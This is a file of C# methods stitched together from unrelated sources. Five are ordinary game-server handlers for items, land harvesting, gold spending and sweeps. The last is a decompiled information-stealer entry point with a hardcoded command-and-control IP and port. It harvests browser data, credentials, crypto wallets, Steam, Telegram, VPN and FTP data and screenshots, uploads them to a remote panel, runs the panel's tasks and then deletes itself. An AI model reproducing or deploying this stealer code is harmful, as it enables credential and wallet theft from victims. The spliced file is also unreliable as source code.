public override bool TakeAction() { ErrorCode = _ops; //1:镶嵌 2:卸下 3:出售 if (_ops == 1) { if (string.IsNullOrEmpty(_userItemID)) { ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } UserSparePart[] sparePartsArray = ContextUser.SparePartList.FindAll(m => m.UserItemID.Equals(_userItemID)).ToArray(); if (sparePartsArray.Length > 0) { //原因:装备上镶嵌超出开启位置数量的灵件 if (ContextUser.UserExtend != null) { if (_position > ContextUser.UserExtend.MaxLayerNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1213_GridNumNotEnough; return(false); } if (sparePartsArray.Length >= ContextUser.UserExtend.MaxLayerNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1213_OpenNumNotEnough; return(false); } } foreach (UserSparePart part in sparePartsArray) { if (part.Position == _position) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1213_GridPotionFull; return(false); } } } var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID)); if (sparePart != null && string.IsNullOrEmpty(sparePart.UserItemID)) { sparePart.UpdateNotify(obj => { sparePart.UserItemID = _userItemID; sparePart.SetPosition(_position); return(true); }); UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 3); //ContextUser.UpdateSparePart(); var package = UserItemPackage.Get(Uid); UserItemInfo userItem = package.ItemPackage.Find(m => !m.IsRemove && m.UserItemID.Equals(sparePart.UserItemID)); if (userItem != null && userItem.ItemStatus.Equals(ItemStatus.YongBing)) { var userGeneral = new GameDataCacheSet <UserGeneral>().FindKey(Uid, userItem.GeneralID); if (userGeneral != null) { userGeneral.RefreshMaxLife(); } } } } else if (_ops == 2) { int currNum = ContextUser.SparePartList.FindAll(m => string.IsNullOrEmpty(m.UserItemID)).Count; if (currNum >= ContextUser.UserExtend.SparePartGridNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1213_GridNumFull; return(false); } var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID)); if (sparePart != null && !string.IsNullOrEmpty(sparePart.UserItemID)) { var package = UserItemPackage.Get(Uid); UserItemInfo userItem = package.ItemPackage.Find(m => !m.IsRemove && m.UserItemID.Equals(sparePart.UserItemID)); sparePart.UpdateNotify(obj => { sparePart.SetPosition(0); sparePart.UserItemID = string.Empty; return(true); }); UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 3); if (userItem != null && userItem.ItemStatus.Equals(ItemStatus.YongBing)) { var userGeneral = new GameDataCacheSet <UserGeneral>().FindKey(Uid, userItem.GeneralID); if (userGeneral != null) { userGeneral.RefreshMaxLife(); } } } } else if (_ops == 3) { var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID)); if (sparePart != null) { var sparePartInfo = new ConfigCacheSet <SparePartInfo>().FindKey(sparePart.SparePartId) ?? new SparePartInfo(); ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, sparePartInfo.CoinPrice); ContextUser.UserExtend.UpdateNotify(obj => { ContextUser.UserExtend.LingshiNum = MathUtils.Addition(ContextUser.UserExtend.LingshiNum, sparePartInfo.LingshiPrice); return(true); }); UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 2); ContextUser.RemoveSparePart(sparePart); //ContextUser.Update(); } } return(true); }
public override bool TakeAction() { short optype = 0; short plantQuality = 0; PlantType pType = (PlantType)Enum.Parse(typeof(PlantType), plantType.ToString()); if (pType == PlantType.Experience) { optype = 6; } else { optype = 7; } short generalLv = 0; UserGeneral userGeneral = new PersonalCacheStruct <UserGeneral>().FindKey(ContextUser.UserID, generalID); if (userGeneral == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().LoadDataError; return(false); } generalLv = userGeneral.GeneralLv; if (pType == PlantType.Experience) { generalLv = ContextUser.UserLv; } else if (pType == PlantType.GameGoin) { generalLv = userGeneral.GeneralLv; } int upexpNum = 0; int expeNum = 0; double addNum = FestivalHelper.SurplusPurchased(ContextUser.UserID, FestivalType.ManorAddition);//活动加成 UserLand userLand = new PersonalCacheStruct <UserLand>().FindKey(ContextUser.UserID, landPositon); if (userLand != null) { if (userLand.IsGain == 2 || userLand.GeneralID == 0) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().LoadDataError; return(false); } plantQuality = (short)userLand.PlantQuality; PlantInfo plantInfo = new ShareCacheStruct <PlantInfo>().FindKey(generalLv, plantType, userLand.PlantQuality); if (plantInfo != null) { if (userLand.IsGain == 1) { userLand.GeneralID = 0; userLand.PlantType = PlantType.Experience; userLand.IsGain = 2; userLand.GainDate = DateTime.Now; userLand.PlantQuality = PlantQualityType.PuTong; } else { ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } gainNum = plantInfo.GainNum; UserLand land = new PersonalCacheStruct <UserLand>().FindKey(ContextUser.UserID, landPositon); if (land != null && land.IsRedLand == 1) { gainNum = MathUtils.Addition(gainNum, (int)(gainNum * 0.2), int.MaxValue); } if (land != null && land.IsBlackLand == 1) { gainNum = MathUtils.Addition(gainNum, (int)(gainNum * 0.4), int.MaxValue); } gainNum = (gainNum * addNum).ToInt(); if (pType == PlantType.Experience) { expeNum = MathUtils.Addition(userGeneral.CurrExperience, gainNum, int.MaxValue); GeneralEscalateInfo generalEscalate = new ShareCacheStruct <GeneralEscalateInfo>().FindKey(userGeneral.GeneralLv); if (generalEscalate != null) { upexpNum = generalEscalate.UpExperience; } if (gainNum > 0) { userGeneral.Experience2 = MathUtils.Addition(userGeneral.Experience2, gainNum, int.MaxValue); //userGeneral.CurrExperience = MathUtils.Addition(userGeneral.CurrExperience, gainNum, int.MaxValue); UserHelper.TriggerGeneral(userGeneral, gainNum); } } else if (pType == PlantType.GameGoin) { if (gainNum > 0) { ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, gainNum, int.MaxValue); } } } UserLogHelper.AppenLandLog(ContextUser.UserID, optype, generalID, landPositon, 0, plantQuality, gainNum, 0); } if (pType == PlantType.Experience && expeNum >= upexpNum) { var chatService = new TjxChatService(); string content = string.Format(LanguageManager.GetLang().St10006_UserGeneralUpLv, userGeneral.GeneralName, userGeneral.GeneralLv); chatService.SystemSendWhisper(ContextUser, content); } return(true); }
public override bool TakeAction() { UserQueue userQueue = null; int energyNum; int coleTime = GetSweepColdTime(out energyNum); short surEnergy = MathUtils.Addition(ContextUser.EnergyNum, ContextUser.SurplusEnergy, short.MaxValue); if ((ContextUser.EnergyNum == 0 && ContextUser.SurplusEnergy == 0) || surEnergy < energyNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_EnergyNotEnough; return(false); } int goldNum = GetGoldNum(out userQueue); if (goldNum == 0) { return(false); } if (ops == 1) { //提示晶石操作 ErrorCode = ops; ErrorInfo = string.Format(LanguageManager.GetLang().St4008_Tip, goldNum); } else if (ops == 2) { //使用晶石确认操作 int userGoldNum = ContextUser.GoldNum; if (userGoldNum < goldNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } //晶石扫荡 if (userQueue != null) { DoAccelerateQueue(goldNum, userQueue.DoRefresh(), userQueue.GetTiming(), userQueue.TotalColdTime); //加速完清除队列 var queueCacheSet = new PersonalCacheStruct <UserQueue>(); queueCacheSet.Delete(userQueue); ContextUser.ResetSweepPool(0); //ContextUser.Update(); } else { //清除扫荡池 var sweepCacheSet = new PersonalCacheStruct <UserSweepPool>(); List <UserSweepPool> sweepPoolList = sweepCacheSet.FindAll(ContextUser.UserID); foreach (UserSweepPool sweepPool in sweepPoolList) { if (sweepPool != null) { sweepCacheSet.Delete(sweepPool); } } var itemList = UserItemHelper.GetItems(Uid).FindAll(m => m.ItemStatus == ItemStatus.BeiBao); if (itemList.Count >= ContextUser.GridNum) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St4007_BeiBaoTimeOut; return(false); } DoAccelerateQueue(goldNum, coleTime, 0, coleTime); } DateTime startDate = userQueue != null ? userQueue.Timing : DateTime.Now; UserLogHelper.AppenRaidsLog(ContextUser.UserID, 2, startDate, DateTime.Now, (short)GetSweepEnergy(out energyNum), goldNum); } else { this.ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } return(true); }
public override bool TakeAction() { ErrorCode = _ops; var sparePart = ContextUser.SparePartList.Find(m => m.UserSparepartID.Equals(_sparepartID)); var sparePartInfo = new ConfigCacheSet <SparePartInfo>().FindKey(sparePart.SparePartId); var reset = sparePartInfo.GetSparePartReset(_partPropertys.Length); if (_ops == 1) { ErrorInfo = string.Format(LanguageManager.GetLang().St1214_ResetUseLingshi, reset.Lingshi, reset.Coin); } else if (_ops == 2) { if (reset.Lingshi > ContextUser.UserExtend.LingshiNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_LingshiNumNotEnough; return(false); } if (reset.Coin > ContextUser.GameCoin) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough; return(false); } if (reset.Lingshi <= ContextUser.UserExtend.LingshiNum) { ResetProperty(); ContextUser.UserExtend.UpdateNotify(obj => { ContextUser.UserExtend.LingshiNum = MathUtils.Subtraction(ContextUser.UserExtend.LingshiNum, reset.Lingshi, 0); return(true); }); ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, reset.Coin, 0); //ContextUser.Update(); } UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 4); } else if (_ops == 3) { ErrorInfo = string.Format(LanguageManager.GetLang().St1214_ResetUseGold, reset.Gold, reset.Coin); } else if (_ops == 4) { if (reset.Gold > ContextUser.GoldNum) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } if (reset.Coin > ContextUser.GameCoin) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough; return(false); } if (reset.Gold <= ContextUser.GoldNum && reset.Coin <= ContextUser.GameCoin) { ResetProperty(); ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, reset.Gold); ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, reset.Coin); //ContextUser.Update(); } UserLogHelper.AppendSparePartLog(ContextUser.UserID, sparePart, 5); } return(true); }
public override bool TakeAction() { //UserHelper.ChechDailyRestrain(ContextUser.UserID); if (ContextUser.VipLv < 5) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St10009_NotPayDew; return(false); } int sumGold = 0; int payDewTime = 0; UserPlant plant = new PersonalCacheStruct <UserPlant>().FindKey(ContextUser.UserID); if (plant.DewNum == 8) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St10009_DewNumFull; return(false); } if (plant != null && DateTime.Now.Date == plant.DewDate.Date) { payDewTime = MathUtils.Addition(plant.PayDewTime, 1, int.MaxValue); sumGold = (payDewTime * 2); } else { payDewTime = 1; sumGold = 2; } if (ops == 1) { ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St10009_PayDewUseGold, sumGold); return(false); } else if (ops == 2) { if (ContextUser.GoldNum < sumGold) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } if (ContextUser.GoldNum >= sumGold) { ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue); //ContextUser.Update(); dewNum = MathUtils.Addition(plant.DewNum, 1, int.MaxValue); plant.DewNum = dewNum; plant.PayDewTime = payDewTime; plant.DewDate = DateTime.Now; //plant.Update(); UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 3, 0, dewNum, sumGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, sumGold, int.MaxValue)); UserLogHelper.AppenLandLog(ContextUser.UserID, 8, 0, 0, sumGold, 0, 0, dewNum); } } return(true); }
// Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278 public static void Main(string[] args) { string text = "95.181.172.34:35253"; string buildId = "loshariki"; try { try { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12); } catch { } bool flag; UserLog log; Action <IRemotePanel> < > 9__0; do { flag = false; try { foreach (string remoteIP in text.Split(new char[] { '|' })) { try { Action <IRemotePanel> codeBlock; if ((codeBlock = < > 9__0) == null) { codeBlock = (< > 9__0 = delegate(IRemotePanel panel) { ClientSettings settings = null; try { settings = panel.GetSettings(); } catch (Exception) { settings = new ClientSettings { BlacklistedCountry = new List <string>(), BlacklistedIP = new List <string>(), GrabBrowsers = true, GrabFiles = true, GrabFTP = true, GrabImClients = true, GrabPaths = new List <string>(), GrabUserAgent = true, GrabWallets = true, GrabScreenshot = true, GrabSteam = true, GrabTelegram = true, GrabVPN = true }; } UserLog log = UserLogHelper.Create(settings); log.Exceptions = new List <string>(); log.BuildID = buildId; log.Credentials = CredentialsHelper.Create(settings); log.SendTo(panel); log = log; log.Credentials = new Credentials(); IList <RemoteTask> tasks = panel.GetTasks(log); if (tasks != null) { foreach (RemoteTask remoteTask in tasks) { try { if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask)) { panel.CompleteTask(log, remoteTask.ID); } } catch { } } } }); } GenericService <IRemotePanel> .Use(codeBlock, remoteIP); flag = true; break; } catch { } } } catch (Exception) { } }while (!flag); } catch (Exception) { } finally { InstallManager.RemoveCurrent(); } }